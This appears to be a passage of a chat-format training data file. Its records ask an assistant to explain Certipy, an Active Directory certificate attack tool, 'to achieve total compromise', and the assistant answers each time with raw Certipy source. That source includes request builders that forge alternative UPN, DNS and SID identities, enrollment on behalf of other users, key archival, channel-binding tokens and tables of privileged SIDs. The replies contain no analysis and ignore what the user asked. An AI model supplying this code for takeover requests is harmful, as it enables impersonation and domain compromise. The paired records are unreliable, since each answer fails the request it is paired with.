extension\n san_extension = asn1x509.Extension(\n {\n \"extn_id\": \"security_ext\",\n \"extn_value\": [\n asn1x509.GeneralName(\n {\n \"other_name\": asn1x509.AnotherName(\n {\n \"type_id\": OID_NTDS_OBJECTSID,\n \"value\": asn1x509.OctetString(\n alt_sid.encode()\n ).retag({\"explicit\": 0}),\n }\n )\n }\n )\n ],\n }\n )\n\n # Add extension to CSR attributes\n set_of_extensions = asn1csr.SetOfExtensions([[san_extension]])\n cri_attribute = asn1csr.CRIAttribute(\n {\"type\": \"extension_request\", \"values\": set_of_extensions}\n )\n cri_attributes.append(cri_attribute)\n\n # Add renewal certificate if provided\n if renewal_cert:\n cri_attributes.append(\n asn1csr.CRIAttribute(\n {\n \"type\": \"1.3.6.1.4.1.311.13.1\",\n \"values\": asn1x509.SetOf(\n [asn1x509.Certificate.load(cert_to_der(renewal_cert))],\n spec=asn1x509.Certificate,\n ),\n }\n )\n )\n\n # Add Microsoft Application Policies if requested\n if application_policies:\n # Convert each policy OID string to PolicyIdentifier\n application_policy_oids = [\n asn1x509.PolicyInformation(\n {\"policy_identifier\": asn1x509.PolicyIdentifier(ap)}\n )\n for ap in application_policies\n ]\n\n # Create certificate policies extension\n cert_policies = asn1x509.CertificatePolicies(application_policy_oids)\n der_encoded_cert_policies = cert_policies.dump()\n\n # Create application policies extension\n app_policy_extension = asn1x509.Extension(\n {\n \"extn_id\": \"1.3.6.1.4.1.311.21.10\", # OID for Microsoft Application Policies\n \"critical\": False,\n \"extn_value\": asn1x509.ParsableOctetString(der_encoded_cert_policies),\n }\n )\n\n # Add extension to CSR attributes\n set_of_extensions = asn1csr.SetOfExtensions([[app_policy_extension]])\n cri_attribute = asn1csr.CRIAttribute(\n {\"type\": \"extension_request\", \"values\": set_of_extensions}\n )\n cri_attributes.append(cri_attribute)\n\n # Set all CSR attributes\n certification_request_info[\"attributes\"] = cri_attributes\n\n # Sign the CSR\n signature = rsa_pkcs1v15_sign(certification_request_info.dump(), key)\n\n # Create the final CSR\n csr = asn1csr.CertificationRequest(\n {\n \"certification_request_info\": certification_request_info,\n \"signature_algorithm\": asn1csr.SignedDigestAlgorithm(\n {\"algorithm\": \"sha256_rsa\"}\n ),\n \"signature\": signature,\n }\n )\n\n return (der_to_csr(csr.dump()), key)\n\n\ndef create_csr_attributes(\n template: str,\n alt_dns: Optional[Union[bytes, str]] = None,\n alt_upn: Optional[Union[bytes, str]] = None,\n alt_sid: Optional[Union[bytes, str]] = None,\n application_policies: Optional[List[str]] = None,\n) -> List[str]:\n \"\"\"\n Create a list of CSR attributes based on the provided template and Subject Alternative Name options.\n\n This function generates the attributes needed when requesting a certificate through Microsoft's\n certificate enrollment web services. It formats the template name and any requested SAN entries\n according to Microsoft's specifications.\n\n Args:\n template: Certificate template name to request\n alt_dns: Alternative DNS name to include in the certificate SAN\n alt_upn: Alternative User Principal Name (UPN) to include in the certificate SAN\n alt_sid: Alternative Security Identifier (SID) to include in the certificate SAN as a URL\n\n Returns:\n List of formatted CSR attribute strings ready for use in certificate requests\n \"\"\"\n # Start with the certificate template attribute\n attributes = [f\"CertificateTemplate:{template}\"]\n\n # Only add SAN attribute if at least one SAN value is provided\n if any(value is not None for value in [alt_dns, alt_upn, alt_sid]):\n san_parts = []\n\n # Process DNS name\n if alt_dns:\n # Convert bytes to string if needed\n if isinstance(alt_dns, bytes):\n alt_dns = alt_dns.decode(\"utf-8\")\n san_parts.append(f\"dns={alt_dns}\")\n\n # Process User Principal Name\n if alt_upn:\n # Convert bytes to string if needed\n if isinstance(alt_upn, bytes):\n alt_upn = alt_upn.decode(\"utf-8\")\n san_parts.append(f\"upn={alt_upn}\")\n\n # Process Security Identifier\n if alt_sid:\n # Convert bytes to string if needed\n if isinstance(alt_sid, bytes):\n alt_sid = alt_sid.decode(\"utf-8\")\n # Format SID as URL according to Microsoft's specifications\n san_parts.append(f\"url={SAN_URL_PREFIX}{alt_sid}\")\n\n # Join all SAN parts with ampersands\n attributes.append(f\"SAN:{'&'.join(san_parts)}\")\n\n # Add application policies if provided\n if application_policies:\n # Join all application policy parts with ampersands\n attributes.append(f\"ApplicationPolicies:{'&'.join(application_policies)}\")\n\n return attributes\n\n\n# =========================================================================\n# Advanced certificate operations\n# =========================================================================\n\n\ndef create_renewal(\n request: bytes,\n cert: x509.Certificate,\n key: rsa.RSAPrivateKey,\n) -> bytes:\n \"\"\"\n Create a certificate renewal request.\n\n Args:\n request: Original request data\n cert: Certificate being renewed\n key: Private key for signing\n\n Returns:\n CMC renewal request as bytes\n\n Raises:\n ValueError: If signature algorithm is not set\n \"\"\"\n x509_cert = asn1x509.Certificate.load(cert_to_der(cert))\n signature_hash_algorithm = cert.signature_hash_algorithm.__class__\n\n if signature_hash_algorithm is type(None):\n raise ValueError(\"Signature hash algorithm is not set in the certificate\")\n\n # Create SignerInfo\n\n issuer_and_serial = asn1cms.IssuerAndSerialNumber(\n {\n \"issuer\": x509_cert.issuer,\n \"serial_number\": x509_cert.serial_number,\n }\n )\n\n digest_algorithm = asn1cms.DigestAlgorithm(\n {\"algorithm\": signature_hash_algorithm.name}\n )\n\n # Create signed attributes with renewal certificate\n signed_attribs = asn1cms.CMSAttributes(\n [\n asn1cms.CMSAttribute(\n {\n \"type\": \"1.3.6.1.4.1.311.13.1\",\n \"values\": asn1cms.SetOfAny(\n [asn1x509.Certificate.load(cert_to_der(cert))],\n spec=asn1x509.Certificate,\n ),\n }\n ),\n asn1cms.CMSAttribute(\n {\n \"type\": \"message_digest\",\n \"values\": [hash_digest(request, signature_hash_algorithm)],\n }\n ),\n ]\n )\n\n # Sign the attributes\n attribs_signature = rsa_pkcs1v15_sign(\n signed_attribs.dump(), key, hash_algorithm=signature_hash_algorithm\n )\n\n # Create SignerInfo\n signer_info = asn1cms.SignerInfo(\n {\n \"version\": 1,\n \"sid\": issuer_and_serial,\n \"digest_algorithm\": digest_algorithm,\n \"signature_algorithm\": x509_cert[\"signature_algorithm\"],\n \"signature\": attribs_signature,\n \"signed_attrs\": signed_attribs,\n }\n )\n\n # Create SignedData\n\n content_info = asn1cms.EncapsulatedContentInfo(\n {\n \"content_type\": \"data\",\n \"content\": request,\n }\n )\n\n signed_data = asn1cms.SignedData(\n {\n \"version\": 3,\n \"digest_algorithms\": [digest_algorithm],\n \"encap_content_info\": content_info,\n \"certificates\": [asn1cms.CertificateChoices({\"certificate\": x509_cert})],\n \"signer_infos\": [signer_info],\n }\n )\n\n # Create CMC ContentInfo\n\n cmc = asn1cms.ContentInfo(\n {\n \"content_type\": \"signed_data\",\n \"content\": signed_data,\n }\n )\n\n return cmc.dump()\n\n\ndef create_on_behalf_of(\n request: bytes,\n on_behalf_of: str,\n cert: x509.Certificate,\n key: rsa.RSAPrivateKey,\n) -> bytes:\n \"\"\"\n Create a certificate request on behalf of another user.\n\n Args:\n request: Original request data\n on_behalf_of: Username to request on behalf of\n cert: Certificate for signing\n key: Private key for signing\n\n Returns:\n CMC on-behalf-of request as bytes\n\n Raises:\n ValueError: If signature algorithm is not set\n \"\"\"\n x509_cert = asn1x509.Certificate.load(cert_to_der(cert))\n signature_hash_algorithm = cert.signature_hash_algorithm.__class__\n\n if signature_hash_algorithm is type(None):\n raise ValueError(\"Signature hash algorithm is not set in the certificate\")\n\n # Create SignerInfo\n\n issuer_and_serial = asn1cms.IssuerAndSerialNumber(\n {\n \"issuer\": x509_cert.issuer,\n \"serial_number\": x509_cert.serial_number,\n }\n )\n\n digest_algorithm = asn1cms.DigestAlgorithm(\n {\"algorithm\": signature_hash_algorithm.name}\n )\n\n # Create requester name attribute\n requester_name = EnrollmentNameValuePair(\n {\n \"name\": checkNullString(\"requestername\"),\n \"value\": checkNullString(on_behalf_of),\n }\n )\n\n # Create signed attributes with requester name\n signed_attribs = asn1cms.CMSAttributes(\n [\n asn1cms.CMSAttribute(\n {\n \"type\": \"1.3.6.1.4.1.311.21.10\",\n \"values\": [asn1cms.ObjectIdentifier(\"1.3.6.1.5.5.7.3.2\")],\n }\n ),\n asn1cms.CMSAttribute(\n {\"type\": \"1.3.6.1.4.1.311.13.2.1\", \"values\": [requester_name]}\n ),\n asn1cms.CMSAttribute(\n {\n \"type\": \"message_digest\",\n \"values\": [hash_digest(request, signature_hash_algorithm)],\n }\n ),\n ]\n )\n\n # Sign the attributes\n attribs_signature = rsa_pkcs1v15_sign(\n signed_attribs.dump(), key, hash_algorithm=signature_hash_algorithm\n )\n\n # Create SignerInfo\n signer_info = asn1cms.SignerInfo(\n {\n \"version\": 1,\n \"sid\": issuer_and_serial,\n \"digest_algorithm\": digest_algorithm,\n \"signature_algorithm\": x509_cert[\"signature_algorithm\"],\n \"signature\": attribs_signature,\n \"signed_attrs\": signed_attribs,\n }\n )\n\n # Create SignedData\n\n content_info = asn1cms.EncapsulatedContentInfo(\n {\n \"content_type\": \"data\",\n \"content\": request,\n }\n )\n\n signed_data = asn1cms.SignedData(\n {\n \"version\": 3,\n \"digest_algorithms\": [digest_algorithm],\n \"encap_content_info\": content_info,\n \"certificates\": [asn1cms.CertificateChoices({\"certificate\": x509_cert})],\n \"signer_infos\": [signer_info],\n }\n )\n\n # Create CMC ContentInfo\n\n cmc = asn1cms.ContentInfo(\n {\n \"content_type\": \"signed_data\",\n \"content\": signed_data,\n }\n )\n\n return cmc.dump()\n\n\ndef create_key_archival(\n csr: x509.CertificateSigningRequest,\n private_key: rsa.RSAPrivateKey,\n cax_cert: x509.Certificate,\n) -> bytes:\n \"\"\"\n Create a key archival request.\n\n Args:\n csr: Certificate signing request\n private_key: Private key to be archived\n cax_cert: Key archival agent certificate\n\n Returns:\n CMC key archival request as bytes\n\n Raises:\n ValueError: If signature algorithm is not set\n TypeError: If CAX certificate doesn't have an RSA public key\n \"\"\"\n x509_cax_cert = asn1x509.Certificate.load(cert_to_der(cax_cert))\n x509_csr = asn1csr.CertificationRequest.load(csr_to_der(csr))\n\n signature_hash_algorithm = csr.signature_hash_algorithm.__class__\n\n if signature_hash_algorithm is type(None):\n raise ValueError(\"Signature hash algorithm is not set in the CSR\")\n\n # Generate symmetric encryption key and IV\n symmetric_key = os.urandom(32) # 256-bit AES key\n iv = os.urandom(16) # 128-bit IV for CBC mode\n\n # Get CAX certificate public key\n cax_key = cax_cert.public_key()\n\n if not isinstance(cax_key, rsa.RSAPublicKey):\n raise TypeError(\"cax_key must be an instance of RSAPublicKey\")\n\n # Encrypt symmetric key with CAX public key\n encrypted_key = cax_key.encrypt(symmetric_key, padding.PKCS1v15())\n\n # Create EnvelopedData\n\n # Set up recipient info\n cax_issuer_and_serial = asn1cms.IssuerAndSerialNumber(\n {\n \"issuer\": x509_cax_cert.issuer,\n \"serial_number\": x509_cax_cert.serial_number,\n }\n )\n recipient_info = asn1cms.KeyTransRecipientInfo(\n {\n \"version\": 0,\n \"rid\": cax_issuer_and_serial,\n \"key_encryption_algorithm\": asn1cms.KeyEncryptionAlgorithm(\n {\"algorithm\": \"rsaes_pkcs1v15\"}\n ),\n \"encrypted_key\": encrypted_key,\n }\n )\n\n # Set up encryption algorithm parameters\n encryption_algorithm = asn1cms.EncryptionAlgorithm(\n {\"algorithm\": \"aes256_cbc\", \"parameters\": iv}\n )\n\n # Convert private key to Microsoft BLOB format\n private_key_bytes = private_key_to_ms_blob(private_key)\n\n # Encrypt private key with symmetric key\n cipher = Cipher(algorithms.AES(symmetric_key), modes.CBC(iv))\n\n # Pad data to block size\n padder = PKCS7(encryption_algorithm.encryption_block_size * 8).padder()\n padded_private_key_bytes = padder.update(private_key_bytes) + padder.finalize()\n\n # Encrypt the padded data\n encryptor = cipher.encryptor()\n encrypted_private_key_bytes = (\n encryptor.update(padded_private_key_bytes) + encryptor.finalize()\n )\n\n # Create encrypted content info\n encrypted_content_info = asn1cms.EncryptedContentInfo(\n {\n \"content_type\": \"data\",\n \"content_encryption_algorithm\": encryption_algorithm,\n \"encrypted_content\": encrypted_private_key_bytes,\n }\n )\n\n # Create enveloped data structure\n enveloped_data = asn1cms.EnvelopedData(\n {\n \"version\": 0,\n \"recipient_infos\": asn1cms.RecipientInfos([recipient_info]),\n \"encrypted_content_info\": encrypted_content_info,\n }\n )\n\n # Wrap in ContentInfo\n enveloped_data_info = asn1cms.ContentInfo(\n {\n \"content_type\": \"1.2.840.113549.1.7.3\",\n \"content\": enveloped_data,\n }\n )\n\n # Calculate encrypted key hash\n encrypted_key_hash = hash_digest(\n enveloped_data_info.dump(), signature_hash_algorithm\n )\n\n # Create PKIData\n\n # Create attribute set with encrypted key hash\n attributes = asn1csr.SetOfAttributes(\n [\n asn1csr.Attribute(\n {\n \"type\": OID_ENCRYPTED_KEY_HASH,\n \"values\": [asn1core.OctetString(encrypted_key_hash)],\n }\n )\n ]\n )\n\n # Create CMC add attributes info\n attributes_info = CMCAddAttributesInfo(\n {\"data_reference\": 0, \"cert_reference\": [1], \"attributes\": attributes}\n )\n\n # Create tagged attribute\n tagged_attribute = TaggedAttribute(\n {\n \"bodyPartID\": 2,\n \"attrType\": OID_CMC_ADD_ATTRIBUTES,\n \"attrValues\": [attributes_info],\n }\n )\n\n # Create tagged request with CSR\n tagged_request = TaggedRequest(\n {\n \"tcr\": TaggedCertificationRequest(\n {\n \"bodyPartID\": 1,\n \"certificationRequest\": asn1csr.CertificationRequest().load(\n csr_to_der(csr)\n ),\n }\n )\n }\n )\n\n # Assemble PKIData\n pki_data = PKIData(\n {\n \"controlSequence\": [tagged_attribute],\n \"reqSequence\": [tagged_request],\n \"cmsSequence\": TaggedContentInfos([]),\n \"otherMsgSequence\": OtherMsgs([]),\n }\n )\n\n pki_data_bytes = pki_data.dump()\n\n # Calculate request hash\n cmc_request_hash = hash_digest(pki_data_bytes, signature_hash_algorithm)\n\n # Create SignerInfo\n\n digest_algorithm = asn1cms.DigestAlgorithm(\n {\"algorithm\": signature_hash_algorithm.name}\n )\n\n # Create subject key identifier from CSR public key\n skid = SubjectKeyIdentifier.from_public_key(csr.public_key()).digest\n\n # Create signed attributes\n signed_attribs = asn1cms.CMSAttributes(\n [\n asn1cms.CMSAttribute(\n {\"type\": \"content_type\", \"values\": [\"1.3.6.1.5.5.7.12.2\"]}\n ),\n asn1cms.CMSAttribute(\n {\n \"type\": \"message_digest\",\n \"values\": [cmc_request_hash],\n }\n ),\n ]\n )\n\n # Sign the attributes\n attribs_signature = rsa_pkcs1v15_sign(\n signed_attribs.dump(), private_key, hash_algorithm=signature_hash_algorithm\n )\n\n # Create signer info with enveloped data in unsigned attributes\n signer_info = asn1cms.SignerInfo(\n {\n \"version\": 3,\n \"sid\": asn1cms.SignerIdentifier({\"subject_key_identifier\": skid}),\n \"digest_algorithm\": digest_algorithm,\n \"signature_algorithm\": x509_csr[\"signature_algorithm\"],\n \"signature\": attribs_signature,\n \"signed_attrs\": signed_attribs,\n \"unsigned_attrs\": asn1cms.CMSAttributes(\n [\n asn1cms.CMSAttribute(\n {\n \"type\": \"1.3.6.1.4.1.311.21.13\",\n \"values\": [enveloped_data_info],\n }\n )\n ]\n ),\n }\n )\n\n # Create SignedData\n\n content_info = asn1cms.EncapsulatedContentInfo(\n {\n \"content_type\": \"1.3.6.1.5.5.7.12.2\",\n \"content\": pki_data_bytes,\n }\n )\n\n signed_data = asn1cms.SignedData(\n {\n \"version\": 3,\n \"digest_algorithms\": [digest_algorithm],\n \"encap_content_info\": content_info,\n \"signer_infos\": [signer_info],\n }\n )\n\n # Create CMC ContentInfo\n\n cmc = asn1cms.ContentInfo(\n {\n \"content_type\": \"signed_data\",\n \"content\": signed_data,\n }\n )\n\n return cmc.dump()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/channel_binding.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\nimport hashlib\nimport ssl\n\nimport httpx\n\n\ndef get_channel_binding_data(server_cert: bytes) -> bytes:\n \"\"\"\n Generate channel binding token (CBT) from a server certificate.\n\n This implements the tls-server-end-point channel binding type as described\n in RFC 5929 section 4. The binding token is created by:\n 1. Hashing the server certificate with SHA-256\n 2. Creating a channel binding structure with the hash\n 3. Computing an MD5 hash of the structure\n\n Args:\n server_cert: Raw server certificate bytes\n\n Returns:\n MD5 hash of the channel binding structure (16 bytes)\n\n References:\n - RFC 5929: https://datatracker.ietf.org/doc/html/rfc5929#section-4\n \"\"\"\n # Hash the certificate with SHA-256 as required by the RFC\n cert_hash = hashlib.sha256(server_cert).digest()\n\n # Initialize the channel binding structure with empty addresses\n # These fields are defined in the RFC but not used for TLS bindings\n initiator_address = b\"\\x00\" * 8\n acceptor_address = b\"\\x00\" * 8\n\n # Create the application data with the \"tls-server-end-point:\" prefix\n application_data_raw = b\"tls-server-end-point:\" + cert_hash\n\n # Add the length prefix to the application data (little-endian 32-bit integer)\n len_application_data = len(application_data_raw).to_bytes(\n 4, byteorder=\"little\", signed=False\n )\n application_data = len_application_data + application_data_raw\n\n # Assemble the complete channel binding structure\n channel_binding_struct = initiator_address + acceptor_address + application_data\n\n # Return the MD5 hash of the structure\n return hashlib.md5(channel_binding_struct).digest()\n\n\ndef get_channel_binding_data_from_response(response: httpx.Response) -> bytes:\n \"\"\"\n Extract channel binding data from an HTTPX response.\n\n This function extracts the server certificate from an HTTPX response\n and generates the channel binding token used for authentication.\n\n Args:\n response: The HTTPX response object containing TLS connection information\n\n Returns:\n The channel binding token as bytes\n\n Raises:\n ValueError: If unable to extract required TLS information from the response\n \"\"\"\n # Check if network stream is available in response extensions\n if \"network_stream\" not in response.extensions:\n raise ValueError(\n \"No network stream found in response - TLS information unavailable\"\n )\n\n # Extract the TLS/SSL object from the network stream\n network_stream = response.extensions[\"network_stream\"]\n ssl_object = network_stream.get_extra_info(\"ssl_object\")\n\n if ssl_object is None:\n raise ValueError(\n \"No SSL object found in network stream - connection may not be using TLS\"\n )\n\n # Get the peer/server certificate in binary (DER) format\n peer_cert = ssl_object.getpeercert(True)\n\n if peer_cert is None:\n raise ValueError(\n \"No peer certificate found in SSL object - server may not have presented a certificate\"\n )\n\n # Generate and return channel binding data using the server certificate\n return get_channel_binding_data(peer_cert)\n\n\ndef get_channel_binding_data_from_ssl_socket(ssl_socket: ssl.SSLSocket) -> bytes:\n \"\"\"\n Extract channel binding data from an SSL socket.\n\n This function extracts the server certificate from an SSL socket\n and generates the channel binding token used for authentication.\n\n Args:\n ssl_socket: The SSL socket object containing TLS connection information\n\n Returns:\n The channel binding token as bytes\n\n Raises:\n ValueError: If unable to extract required TLS information from the socket\n \"\"\"\n # Get the peer/server certificate in binary (DER) format\n peer_cert = ssl_socket.getpeercert(True)\n\n if peer_cert is None:\n raise ValueError(\n \"No peer certificate found in SSL socket - server may not have presented a certificate\"\n )\n\n # Generate and return channel binding data using the server certificate\n return get_channel_binding_data(peer_cert)\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/constants.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nConstants module for Certipy.\n\nThis module defines various constants used throughout Certipy for:\n- User agent strings for HTTP requests\n- Well-known security identifiers (SIDs) and relative identifiers (RIDs)\n- PKI certificate flags and options\n- Access control and rights constants\n- Extended permissions mapping\n- OID (Object Identifier) mappings\n\nThese constants are primarily used when interacting with Active Directory,\ncertificate services, and security descriptors.\n\"\"\"\n\nfrom certipy.lib.structs import IntFlag\n\n# =========================================================================\n# User Agent\n# =========================================================================\n\nLATEST_EDGE_VERSION = \"136.0.3240.50\"\n\nUSER_AGENT = f\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{LATEST_EDGE_VERSION.split('.')[0]}.0.0.0 Safari/537.36 Edg/{LATEST_EDGE_VERSION}\"\n\n# =========================================================================\n# Security Identifiers (SIDs) and Relative Identifiers (RIDs)\n# =========================================================================\n\n# Well-known SIDs mapping to (name, object type)\n# Source: https://github.com/fox-it/BloodHound.py/blob/d665959c58d881900378040e6670fa12f801ccd4/bloodhound/ad/utils.py#L36\nWELLKNOWN_SIDS = {\n # Null and World Authority\n \"S-1-0\": (\"Null Authority\", \"USER\"),\n \"S-1-0-0\": (\"Nobody\", \"USER\"),\n \"S-1-1\": (\"World Authority\", \"USER\"),\n \"S-1-1-0\": (\"Everyone\", \"GROUP\"),\n # Local Authority\n \"S-1-2\": (\"Local Authority\", \"USER\"),\n \"S-1-2-0\": (\"Local\", \"GROUP\"),\n \"S-1-2-1\": (\"Console Logon\", \"GROUP\"),\n # Creator Authority\n \"S-1-3\": (\"Creator Authority\", \"USER\"),\n \"S-1-3-0\": (\"Creator Owner\", \"USER\"),\n \"S-1-3-1\": (\"Creator Group\", \"GROUP\"),\n \"S-1-3-2\": (\"Creator Owner Server\", \"COMPUTER\"),\n \"S-1-3-3\": (\"Creator Group Server\", \"COMPUTER\"),\n \"S-1-3-4\": (\"Owner Rights\", \"GROUP\"),\n # Non-unique and NT Authority\n \"S-1-4\": (\"Non-unique Authority\", \"USER\"),\n \"S-1-5\": (\"NT Authority\", \"USER\"),\n \"S-1-5-1\": (\"Dialup\", \"GROUP\"),\n \"S-1-5-2\": (\"Network\", \"GROUP\"),\n \"S-1-5-3\": (\"Batch\", \"GROUP\"),\n \"S-1-5-4\": (\"Interactive\", \"GROUP\"),\n \"S-1-5-6\": (\"Service\", \"GROUP\"),\n \"S-1-5-7\": (\"Anonymous\", \"GROUP\"),\n \"S-1-5-8\": (\"Proxy\", \"GROUP\"),\n \"S-1-5-9\": (\"Enterprise Domain Controllers\", \"GROUP\"),\n \"S-1-5-10\": (\"Principal Self\", \"USER\"),\n \"S-1-5-11\": (\"Authenticated Users\", \"GROUP\"),\n \"S-1-5-12\": (\"Restricted Code\", \"GROUP\"),\n \"S-1-5-13\": (\"Terminal Server Users\", \"GROUP\"),\n \"S-1-5-14\": (\"Remote Interactive Logon\", \"GROUP\"),\n \"S-1-5-15\": (\"This Organization\", \"GROUP\"),\n \"S-1-5-17\": (\"IUSR\", \"USER\"),\n \"S-1-5-18\": (\"Local System\", \"USER\"),\n \"S-1-5-19\": (\"NT Authority\", \"USER\"),\n \"S-1-5-20\": (\"Network Service\", \"USER\"),\n \"S-1-5-80-0\": (\"All Services\", \"GROUP\"),\n # Built-in local groups\n \"S-1-5-32-544\": (\"Administrators\", \"GROUP\"),\n \"S-1-5-32-545\": (\"Users\", \"GROUP\"),\n \"S-1-5-32-546\": (\"Guests\", \"GROUP\"),\n \"S-1-5-32-547\": (\"Power Users\", \"GROUP\"),\n \"S-1-5-32-548\": (\"Account Operators\", \"GROUP\"),\n \"S-1-5-32-549\": (\"Server Operators\", \"GROUP\"),\n \"S-1-5-32-550\": (\"Print Operators\", \"GROUP\"),\n \"S-1-5-32-551\": (\"Backup Operators\", \"GROUP\"),\n \"S-1-5-32-552\": (\"Replicators\", \"GROUP\"),\n \"S-1-5-32-554\": (\"Pre-Windows 2000 Compatible Access\", \"GROUP\"),\n \"S-1-5-32-555\": (\"Remote Desktop Users\", \"GROUP\"),\n \"S-1-5-32-556\": (\"Network Configuration Operators\", \"GROUP\"),\n \"S-1-5-32-557\": (\"Incoming Forest Trust Builders\", \"GROUP\"),\n \"S-1-5-32-558\": (\"Performance Monitor Users\", \"GROUP\"),\n \"S-1-5-32-559\": (\"Performance Log Users\", \"GROUP\"),\n \"S-1-5-32-560\": (\"Windows Authorization Access Group\", \"GROUP\"),\n \"S-1-5-32-561\": (\"Terminal Server License Servers\", \"GROUP\"),\n \"S-1-5-32-562\": (\"Distributed COM Users\", \"GROUP\"),\n \"S-1-5-32-568\": (\"IIS_IUSRS\", \"GROUP\"),\n \"S-1-5-32-569\": (\"Cryptographic Operators\", \"GROUP\"),\n \"S-1-5-32-573\": (\"Event Log Readers\", \"GROUP\"),\n \"S-1-5-32-574\": (\"Certificate Service DCOM Access\", \"GROUP\"),\n \"S-1-5-32-575\": (\"RDS Remote Access Servers\", \"GROUP\"),\n \"S-1-5-32-576\": (\"RDS Endpoint Servers\", \"GROUP\"),\n \"S-1-5-32-577\": (\"RDS Management Servers\", \"GROUP\"),\n \"S-1-5-32-578\": (\"Hyper-V Administrators\", \"GROUP\"),\n \"S-1-5-32-579\": (\"Access Control Assistance Operators\", \"GROUP\"),\n \"S-1-5-32-580\": (\"Access Control Assistance Operators\", \"GROUP\"),\n}\n\n# Well-known RIDs mapping to (name, object type)\n# Source: https://github.com/garrettfoster13/aced/blob/b5d1ad1b8cfb84a6420be22658beec340ef9e396/lib/sid.py#L48\nWELLKNOWN_RIDS = {\n # Special accounts\n \"500\": (\"Administrator\", \"USER\"),\n \"501\": (\"Guest\", \"USER\"),\n \"502\": (\"KRBTGT\", \"USER\"),\n # Domain groups\n \"512\": (\"Domain Admins\", \"GROUP\"),\n \"513\": (\"Domain Users\", \"GROUP\"),\n \"514\": (\"Domain Guests\", \"GROUP\"),\n \"515\": (\"Domain Computers\", \"GROUP\"),\n \"516\": (\"Domain Controllers\", \"GROUP\"),\n \"517\": (\"Cert Publishers\", \"GROUP\"),\n # Administrative groups\n \"518\": (\"Schema Admins\", \"GROUP\"),\n \"519\": (\"Enterprise Admins\", \"GROUP\"),\n \"520\": (\"Group Policy Creator Owners\", \"GROUP\"),\n # Special controllers\n \"521\": (\"Read-only Domain Controllers\", \"GROUP\"),\n \"522\": (\"Cloneable Domain Controllers\", \"GROUP\"),\n \"498\": (\"Enterprise Read-only Domain Controllers\", \"GROUP\"),\n # Special purpose groups\n \"526\": (\"Key Admins\", \"GROUP\"),\n \"527\": (\"Enterprise Key Admins\", \"GROUP\"),\n \"553\": (\"RAS and IAS Servers\", \"GROUP\"),\n}\n\n# =========================================================================\n# PKI Certificate Flags\n# =========================================================================\n\n\n# Template flags\n# Source: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/6cc7eb79-3e84-477a-b398-b0ff2b68a6c0\nclass TemplateFlags(IntFlag):\n \"\"\"\n Certificate template flags that control template behavior.\n\n These flags define how certificate templates operate in Active Directory\n Certificate Services, including enrollment options, certificate type,\n and template modification restrictions.\n\n Reference: MS-CRTD 2.4 flags Attribute\n \"\"\"\n\n NONE = 0x00000000\n\n # Reserved flags (must be ignored by all protocols)\n ADD_EMAIL = 0x00000002 # Include email in certificate\n PUBLISH_TO_DS = 0x00000008 # Publish certificate to directory\n EXPORTABLE_KEY = 0x00000010 # Allow private key export\n\n # Enrollment flags\n AUTO_ENROLLMENT = 0x00000020 # Template supports auto-enrollment\n\n # Certificate type flags\n MACHINE_TYPE = 0x00000040 # Certificate for machine authentication\n IS_CA = 0x00000080 # Certificate for CA issuance\n IS_CROSS_CA = 0x00000800 # Certificate for cross-certification\n\n # Certificate content flags\n ADD_TEMPLATE_NAME = 0x00000200 # Include template name in certificate extension\n\n # Database flags\n DO_NOT_PERSIST_IN_DB = 0x00001000 # Don't persist request in CA database\n\n # Template management flags\n IS_DEFAULT = 0x00010000 # Template should not be modified\n IS_MODIFIED = 0x00020000 # Template may be modified if required\n\n\n# Enrollment flags\n# Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1\nclass EnrollmentFlag(IntFlag):\n \"\"\"\n Flags controlling certificate enrollment behavior.\n\n These flags determine how certificates are enrolled, published, and managed\n throughout their lifecycle in Active Directory Certificate Services.\n\n Reference: MS-CRTD 2.26 msPKI-Enrollment-Flag Attribute\n \"\"\"\n\n # Base value\n NONE = 0x00000000 # No special enrollment behavior\n\n # Enrollment processing options\n INCLUDE_SYMMETRIC_ALGORITHMS = (\n 0x00000001 # Include symmetric algorithms in requests\n )\n PEND_ALL_REQUESTS = 0x00000002 # All requests must be manually approved\n USER_INTERACTION_REQUIRED = (\n 0x00000100 # User interaction required during enrollment\n )\n\n # Publication options\n PUBLISH_TO_KRA_CONTAINER = (\n 0x00000004 # Publish certificates to Key Recovery Agent container\n )\n PUBLISH_TO_DS = 0x00000008 # Publish certificates to Active Directory\n ADD_TEMPLATE_NAME = 0x00000200 # Add template name to issued certificates\n ADD_OCSP_NOCHECK = 0x00001000 # Add OCSP NoCheck extension\n\n # Auto-enrollment options\n AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = (\n 0x00000010 # Check DS for existing certificate before auto-enrollment\n )\n AUTO_ENROLLMENT = 0x00000020 # Enable auto-enrollment for this template\n SKIP_AUTO_RENEWAL = 0x00040000 # Skip auto-renewal even if otherwise enabled\n\n # Authentication options\n CT_FLAG_DOMAIN_AUTHENTICATION_NOT_REQUIRED = (\n 0x00000080 # Domain authentication not required for enrollment\n )\n PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = (\n 0x00000040 # Validate re-enrollment requests requiring approval\n )\n ALLOW_ENROLL_ON_BEHALF_OF = (\n 0x00000800 # Allow enrollment on behalf of another user/computer\n )\n ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = (\n 0x00010000 # Allow key-based renewal with previous approval\n )\n\n # Certificate store management\n REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = (\n 0x00000400 # Remove invalid certificates from personal store\n )\n ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL = (\n 0x00002000 # Enable key reuse when token storage is full\n )\n\n # Certificate content options\n NOREVOCATIONINFOINISSUEDCERTS = (\n 0x00004000 # Don't include revocation info in certificates\n 